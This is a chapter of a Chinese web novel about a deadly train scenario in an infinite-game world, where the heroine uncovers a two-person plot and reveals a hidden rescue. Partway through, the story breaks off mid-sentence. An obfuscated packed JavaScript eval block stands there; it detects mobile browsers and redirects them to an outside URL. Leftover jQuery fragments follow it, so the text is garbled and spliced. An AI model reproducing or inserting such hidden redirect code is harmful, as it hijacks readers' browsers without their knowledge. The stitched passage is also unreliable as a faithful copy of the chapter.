268. 扶光号列车(15)

作品:《系统对我有偏见[无限]

    金属容器中原本装着的毒气被换成了污染因子,可特遣队员无处获取污染因子,那真正设计这场死局的人会是谁?


    难道她的猜想又错了?


    不应该啊,岳遥基本已经确定毒气就是暴乱,连特制的金属容器外壳都一模一样。


    其他世界也有相同的东西?


    没这么凑巧的事吧……


    奚回心绪不宁时,韩择透着寒气的声音传来,回答了她提出的疑问。


    “先知系统没有,但污染变种研究机构有。”


    说出这句话时,他眼帘低垂,目光清冷,不知在思考什么,面色阴沉得吓人,好像头顶笼罩着一团乌云,正隐隐酝酿着一场电闪雷鸣。


    “你说的……是副本里,还是副本外?”奚回小心翼翼确认。


    这个问题让韩择眉头越皱越紧,连呼吸都沉重了几分。


    他一直垂着眼,没看奚回,垂在两侧的手紧紧攥成拳,似乎努力控制着情绪,回答的声音从牙缝中挤了出来。


    “副本内暂时没有这种技术,副本外的污染变种研究机构里有,各种污染因子样本都有。”


    顺着他的话,奚回继续追问:“特别应对科的警员能拿到样本?”


    这一次,韩择没说话,仿佛不想面对现实一般,双眼紧闭,咬着牙,动作僵硬地点了点头。


    奚回看得出,韩择心中怕是得出了与她想法相似的答案。


    施琴和屈子墨中有精神腐蚀者。


    然而,施琴从未到过1车厢,下毒案发生前后,她又一直在离茉的监视下,没有机会在1车厢设下陷阱。


    屈子墨就不一样了,当一众玩家和包括陈远峰在内的星火被吸引到后面车厢时,他没有跟去,独自一人留在了1车厢。


    他完全有机会设置污染因子释放装置,破坏所有防护服,废掉两个隔离间的使用机会。


    但,这并不是全部,还有疑题未解开。


    奚回匆忙拍打着玻璃,吸引韩择注意,将他从越来越危险的情绪中拉出。


    “你先别气,看看这个,有些事我还没弄明白。”奚回一边说着,一边从手心拿起一个金属壳子,用食指和拇指固定,举到玻璃前晃了晃,“这玩意儿,你在先知系统商场,或者其他什么地方见过吗?”


    韩择依言睁开眼,靠近玻璃,仔细观察着奚回指尖夹住的胶囊状金属壳,然后摇了摇头。


    在得到肯定的回答后,奚回眼睛亮起清澈的光。


    那些堆积在脑海里零散的线索,被一种看似离谱的可能性串联到一起,瞬间清除了思维的堵塞。


    奚回随意扔掉手里的金属壳,拍了拍手,肩膀抖动,无奈地笑出了声。


    听着两人的对话,看着奚回的反应,岳遥心中狐疑,忍不住问:“你怀疑精神污染者不是宋伊,而是他的同伴?”


    “不是同伴!”


    一声怒吼脱口而出,韩择双瞳瞬间变红,凶狠地瞪了岳遥一眼,浑身险些竖起尖刺。


    岳遥被吓得浑身一颤,咽了咽唾沫,后退两步。


    下一秒,离茉的手拍向韩择的后脑勺,用力向前下压,将韩择的脑袋抵到了玻璃上,语气不耐烦地骂道:“这里就你一个人不爽吗?别冲无关的人发脾气。”


    岳遥更慌了,唯恐两人打起来。


    然而被打骂的人突然安静下来,保持着埋头的姿势,没有回嘴,也没有动弹,只有上下起伏的后背显示出他正竭力压制情绪。


    岳遥神情担忧地看向奚回。


    奚回隔着玻璃抚摸着韩择的脑袋,冲着岳遥露出苦笑,说:“3车厢那两人只是他的同事而已,我们才是队友和同伴。”


    “哦,抱歉,是我失言。”岳遥抬了抬手,忐忑地对着韩择道了声歉,心里却在嘀咕:奚回的朋友都这么奇怪吗?


    韩择依旧没动,奚回看似轻松地转移了话题。


    奚回:“我们可能一开始都想错了。”


    岳遥:“想错什么?”


    奚回:“先入为主地认为精神腐蚀者只有一人。”


    此话一出,门外三人身体不约而同微微一震,显然谁也没有想过这种可能性。


    “一个副本两个精神腐蚀者,他们还联手了?”离茉说话时,语气沮丧,有种面对脱离常识的无力感。


    确实从未有规定,一个副本只出现一个精神腐蚀者。


    终究被经验误导了。


    千算万算,一直严防死守,不给精神腐蚀者靠近陈远峰的机会,没想到自己却落入了对方精心设计的圈套。


    好像被狠狠上了一课,奚回不愿承认失败,却不得不低头。


    “失算了,我没想到下毒的目的不止是为了杀陈远峰,还为了引走所有人,给布置最后一步杀招创造机会。难怪屈子墨和宋伊明明对谁都不放心,列车上出现骚乱后,却都不跟着陈远峰,反而留在了这里……”


    奚回说着后知后觉的感言,说着说着扶额笑出了声,充斥着懊悔的笑,满心无奈。


    “我去杀了他们。”


    韩择猛地抬头,眼中全是杀意,话音未落就转身离开。


    离茉和岳遥沉默地看着韩择的背影,谁也没有阻止。


    “别!”奚回只来得及喊出一个字。


    好在一个字也能让韩择听进去,乖乖地停下脚步。


    韩择没有回头看奚回,死咬着嘴唇,一股血腥味在嘴里弥漫开来,身体因愤怒而战栗。


    岳遥诧异地瞪着奚回,震惊于对方的心软。有一瞬间,她甚至怀疑将打破平衡的希望寄托在奚回身上很傻。


    “还有必要这么……”岳遥突然停顿,尖酸刻薄的词到嘴边,又被吞了回去,用理智压制住怒火,换了个温和的词,“善心大发吗?我们没能阻止隐藏任务,不止你,所有玩家都得死,不,整个地下城都输了。”


    精神腐蚀者的陷阱已经彻底将玩家的生路堵死了。


    要救下1车厢内的奚回和陈远峰,只能立即发动列车,趁着污染因子尚在潜伏期,抵达地下城,陈远峰能得到治疗,奚回也能离开副本。


    问题出在发动列车的前提是解锁1车厢。


    现在1车厢内防护服损坏,隔离间锁定,奚回和陈远峰暴露在污染空间里,没法利用真空消除污染,车厢根本没法解锁。


    现在摆在他们眼前的只有2种结果:


    一是奚回和陈远峰主动按下清理键,死于真空处理,1车厢解锁成功,列车启动,抵达地下城,隐藏任务失败。


    二是奚回和陈远峰一直耗着,最后变成污染变种,外部启动清理,消灭污染变种,1车厢解锁,列车抵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384601|177480||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    达终点,隐藏任务失败。


    不管怎么选,都是死路一条。


    岳遥甚至可以想象到,精神腐蚀者已经在3车厢庆祝胜利了。


    反正都会死,她还不如去3车厢出出气。


    越想越气,岳遥一脚踢在通道门上,除了引发一声闷响和脚疼,没有任何改变。


    “怎么气性这么大,遥副,谁说精神腐蚀者赢了?”


    奚回立在玻璃窗前,努力挤出轻松惬意的笑容。


    岳遥满脸写着不理解。


    离茉叹了口气,帮忙解释:“她让韩择别动手,是觉得没必要脏手而已,反正那两人已经注定是两具尸体了。”


    “我知道……我知道用不着杀他们……”韩择埋着头,弓着背,双手握拳,浑身紧绷,一条条血管在皮肤下突突跳动,说出的每一个字都是隐忍与痛苦,“陈远峰不会死,但是你会死,难道要我在这看着你死吗?”


    “死你个头,我是让你别走,我一个人害怕。”奚回用最强硬的语气说着最软的话。


    韩择抬起胳膊擦了擦脸,听话地转身走回到奚回面前,依旧低着头,额前头发的阴影掩藏着通红的眼眶,开口就是道歉:“都是我的错,对不起,我就该一直跟着你,我要是一直跟着你就好了。”


    “别说没用的话了。”奚回厉声叫停,“不如帮我想想,我还有没有可能活下来。”


    韩择立马住嘴,眼神慌乱地思考着,“我、我去车外毁掉车体?再坚固的列车也肯定有薄弱之处。”


    这方案简直没眼看,奚回不客气地否决:“毁掉列车还怎么到站,你背着列车跑到终点站,还是我们干脆在这里过一辈子得了?”


    离茉冷笑道:“要不你现在觉醒个能重生的异能?”


    “谢谢你这么看得起我。”奚回冲离茉龇着牙,“我都要死了,还有闲心调侃,有想法了?”


    “这都被你发现了?不算太蠢。”离茉拍了拍手以示表扬,语气却由轻松转严肃,“刚想到一个办法可以试试,但不能保证你能活。”


    “死马当活马医呗。”奚回洗耳恭听。


    岳遥越来越听不懂三人在讨论什么,一脸难以置信地出声打断:“都这样了,还有反转的余地?”


    “有。”离茉斩钉截铁地回答,“只要陈远峰到终点站,授权修改列车设定,就算不解锁1车厢,列车也能到站,结束副本,就是不知道奚回能不能撑到那个时候。”


    岳遥只觉一阵头疼,手指抵着额头,拧成一团的眉头写满困惑。


    她指了指躺在1车厢最前排的陈远峰,问:“抱歉啊,我就想知道,不解锁车厢,陈远峰要如何到终点站?”


    听到这个问题,玻璃后的奚回露出了狡黠的笑。


    “谁跟你说陈远峰还在列车上呢?”


    说罢,奚回将手伸进了衣兜,再拿出来时,手心里多了一只毛茸茸的大蜘蛛。


    “小吲哚,差不多该让那个吵吵的人消停了。”奚回低声给吲哚蛛下达指令。


    吲哚蛛胸部上抬,挥动螯肢和一对步足,回应道:“好的,模拟模式即将关闭,吲哚很高兴为您服务。”


    一直隐隐约约如背景音一般充斥在1车厢内的吼叫声骤然消失。


    与陈远峰失控的吼叫声一同消失的还有陈远峰本人。